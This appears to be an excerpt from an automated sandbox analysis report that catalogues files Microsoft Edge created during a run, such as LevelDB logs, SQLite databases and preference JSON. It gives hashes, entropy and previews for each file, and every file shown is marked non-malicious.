SHA-512:	645EDDDBCD5628573BFB4EC71EE146F00FFB137E5A9C411B2E0F9EB57564D77D5EA839E593037B2669B7747A94DFDCCA72D77AF81E8F03168E9C3DB65EA5679A
Malicious:	false
Preview:	2024/11/12-04:37:20.408 1cec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/12-04:37:20.440 1cec Recovering log #3.2024/11/12-04:37:20.498 1cec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.180395319358229
Encrypted:	false
SSDEEP:	12:H+vVaYebvqBQFUt8xYKW/+hV5OaYebvqBvJ:8VaYebvZg8xnJOaYebvk
MD5:	521C9112827D7B820128A83A162BE43A
SHA1:	38BDCAB88D6FD6242396DFF11CDA239920D02DD5
SHA-256:	BB9CBB169FE88283753B79CB105520C58D9894A3721E3EC72952F10F2F9D1D80
SHA-512:	645EDDDBCD5628573BFB4EC71EE146F00FFB137E5A9C411B2E0F9EB57564D77D5EA839E593037B2669B7747A94DFDCCA72D77AF81E8F03168E9C3DB65EA5679A
Malicious:	false
Preview:	2024/11/12-04:37:20.408 1cec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/12-04:37:20.440 1cec Recovering log #3.2024/11/12-04:37:20.498 1cec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\68341be6-6a2b-41fc-b906-13538da71901.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a5c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a97832c0-51d9-4d4c-bd33-c7586710d58d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b9abcfc1-e718-407e-b8bd-9f5d963f98f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c32461aa-9add-4bfd-b3ba-003f9304c677.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.200639268096445
Encrypted:	false
SSDEEP:	12:+p3+vVaYebvqBZFUt8phXKW/+pEzV5OaYebvqBaJ:xVaYebvyg8vagOaYebvL
MD5:	32DE2997194BF0210D458CC98C3CAF22
SHA1:	F1227E9D3ABF8CF2A4B148AA65C5850DF7D04966
SHA-256:	B46100666E33147DCADBC69C0EC5C973103729452B391ADE79F7C446CA8E67AE
SHA-512:	5A4E29DC33652BAE4FFBEC984E9D82BAD9CBDE962C56FCF1D33940278498EB3DD692E56AE3E633198A86499188502528E3BE2FFA9FCB36A816E15E15383E6B0F
Malicious:	false
Preview:	2024/11/12-04:37:38.082 1cec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/12-04:37:38.084 1cec Recovering log #3.2024/11/12-04:37:38.089 1cec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.200639268096445
Encrypted:	false
SSDEEP:	12:+p3+vVaYebvqBZFUt8phXKW/+pEzV5OaYebvqBaJ:xVaYebvyg8vagOaYebvL
MD5:	32DE2997194BF0210D458CC98C3CAF22
SHA1:	F1227E9D3ABF8CF2A4B148AA65C5850DF7D04966
SHA-256:	B46100666E33147DCADBC69C0EC5C973103729452B391ADE79F7C446CA8E67AE
SHA-512:	5A4E29DC33652BAE4FFBEC984E9D82BAD9CBDE962C56FCF1D33940278498EB3DD692E56AE3E633198A86499188502528E3BE2FFA9FCB36A816E15E15383E6B0F
Malicious:	false
Preview:	2024/11/12-04:37:38.082 1cec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/12-04:37:38.084 1cec Recovering log #3.2024/11/12-04:37:38.089 1cec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.193936157971991
Encrypted:	false
SSDEEP:	6:HU4HFjgq2PN723oH+TcwtpIFUt8YU4HFOZmw+YU4HF57kwON723oH+Tcwta/WLJ:cvVaYebmFUt8V/+I75OaYebaUJ
MD5:	D5F41330BF066686455EF25429D22B17
SHA1:	D08EFED7AADF8E69C018071C2DC1344831DA0DB6
SHA-256:	60454B0A8A13F6BDD5B7BC012C44861F1CB9279AA4FA2525A115A084ED860016
SHA-512:	AB95DE2DA1A91AF76A3BF0A65FF5589F9B974A9A3030C8F89040E1886D48981991574F553D079DC03F38AA46A9304C08EB184A19DD57B89B1ACE51241CE84F64
Malicious:	false
Preview:	2024/11/12-04:37:19.610 1db0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/12-04:37:19.611 1db0 Recovering log #3.2024/11/12-04:37:19.612 1db0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.193936157971991
Encrypted:	false
SSDEEP:	6:HU4HFjgq2PN723oH+TcwtpIFUt8YU4HFOZmw+YU4HF57kwON723oH+Tcwta/WLJ:cvVaYebmFUt8V/+I75OaYebaUJ
MD5:	D5F41330BF066686455EF25429D22B17
SHA1:	D08EFED7AADF8E69C018071C2DC1344831DA0DB6
SHA-256:	60454B0A8A13F6BDD5B7BC012C44861F1CB9279AA4FA2525A115A084ED860016
SHA-512:	AB95DE2DA1A91AF76A3BF0A65FF5589F9B974A9A3030C8F89040E1886D48981991574F553D079DC03F38AA46A9304C08EB184A19DD57B89B1ACE51241CE84F64
Malicious:	false
Preview:	2024/11/12-04:37:19.610 1db0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/12-04:37:19.611 1db0 Recovering log #3.2024/11/12-04:37:19.612 1db0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2674597210689567
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMsSA1LyKOMq+8iP5GDHP/0jMVumo:Kq+n0Js91LyKOMq+8iP5GLP/0J
MD5:	9BE4E00B1DD0394148E822F4F1527335
SHA1:	223A8AE13F1EE977C2A029C7448001042D05F735
SHA-256:	34333ED385597C05C31B048C1F9FEBB25EC9C3ADEF783BDB454BAF78E9E2CF24
SHA-512:	3037D3423BA48C61C84557C8AA04094A6BA237838E868052DCB3421F05A38060D3AD675B7409E0663522A38EC33150969001553D436E1CA30937CA528B983231
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4667304959123451
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0xS7g2:v7doKsKuKZKlZNmu46yjx0x0g2
MD5:	35DD426BDF5F306FC048BA01AA23581B
SHA1:	5E9915742A4B0CE05E82680D1A16574827D2243E
SHA-256:	B11E8FD78CD46E5A3C8659064C862ABB915DFABB6B0D89A26B1A6E0387897A11
SHA-512:	C2220172F809609A930F838069A2FBBA751788DEE78921ED272C633AE55DF0953ACC4669883BBD783AB4C546FED81D80B931E4BFFA8275292DD4D03159EFAFB1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c1fd0282-92de-48e7-97d1-68ce80ce392d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17531), with no line terminators
Category:	modified
Size (bytes):	17537
Entropy (8bit):	5.4792967430879695
Encrypted:	false
SSDEEP:	384:strPGQSu4usnXQCDLssrleNm9LbGNv/QwPd32:sdOXuGQCMsrnbGe62
MD5:	1BB26C30E367A900A6C79679D882C462
SHA1:	B3B408522090748F8771DB3646320A1452E53FE0
SHA-256:	1940459839ADFCF2D95699A4970BCE94D080D5D835EBF3F096852747DF092AC8
SHA-512:	B517352A1EB5A6040F54631189452F1A16E397523DE1D030DCF177865ABF5455B18E82C083FE6DA14A01B5A91C328DCE42D2921DF0AAB4C19F3BAFA070C41C24
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c39b5b7a-ab0b-4480-b1cd-c86ace992c0e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561536761957426
Encrypted:	false
SSDEEP:	768:go7I/MWYH7pLGLpf9W5wsaf4ey8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP3dUbIGLb:g8qMjBcpf9Wasafxyu1jaKdULIuc8Zfd
MD5:	6707E0464F0E7DBAA1DE9AE2105E72CB
SHA1:	17B01D8542ECD25B3D8B67C12D6876BD4C9CE896
SHA-256:	4D86AB64D5F769DCD514F3E4DF0D84A8F7A576EFC0C33F4419623560CEDE70B5
SHA-512:	F068E9487DE108694B5BD37B418CA5C8AC2D88336F55C6EF87C7AD56A064919D943AC9D7408AAF3F7C17A9638462B43E940F22BB10ED1A0DD9D625CF79BD0121
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375877839602752","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375877839602752","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\de0a63f1-62c0-4e64-8231-88355a865967.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f0631e90-80e7-44fd-b8d7-a23b61b1d642.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10262939497598703
Encrypted:	false
SSDEEP:	12:+gAJ/3gAmspEjVl/PnnnnnnnnnnnvoQzEoW6dl:+gA/3gioPnnnnnnnnnnnv5j
MD5:	C8F562985321E40FA1DAFB7CADB92D73
SHA1:	FAE9CB415B8257FD9EB95B792A1B479C6F3C9B09
SHA-256:	A88C9BB62D7328C8624C26EA8FF962D1D7CEABD8BAC513923D148A84323C1697
SHA-512:	D1DE6E3336FCDBE0EE8B66DBB8968DD884154A9AB661F8BD4B0069728C8366AB2AE0511923B25E28B837DF620AD94F6CF0E0C3BF02E8B83A5EBC83AB5A0D0E54
Malicious:	false
Preview:	..-.............M.......<./.[..g$J...V...,...Z....-.............M.......<./.[..g$J...V...,...Z..........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8873492809965966
Encrypted:	false
SSDEEP:	384:sVtFpN2pOPpSCpAtpq0pxepd+hp+APhpQtEyByuSPhpMtrySyZgybxyfs:tt575
MD5:	B3F43FCC1C31C60D488756810A1A3519
SHA1:	1BA134B662F97E2E8BDD4BB6316688993DBACE6A
SHA-256:	B176612E29FEADDAB340FF98849919574B34AD60DD0291A74FFA2BEF8E119F34
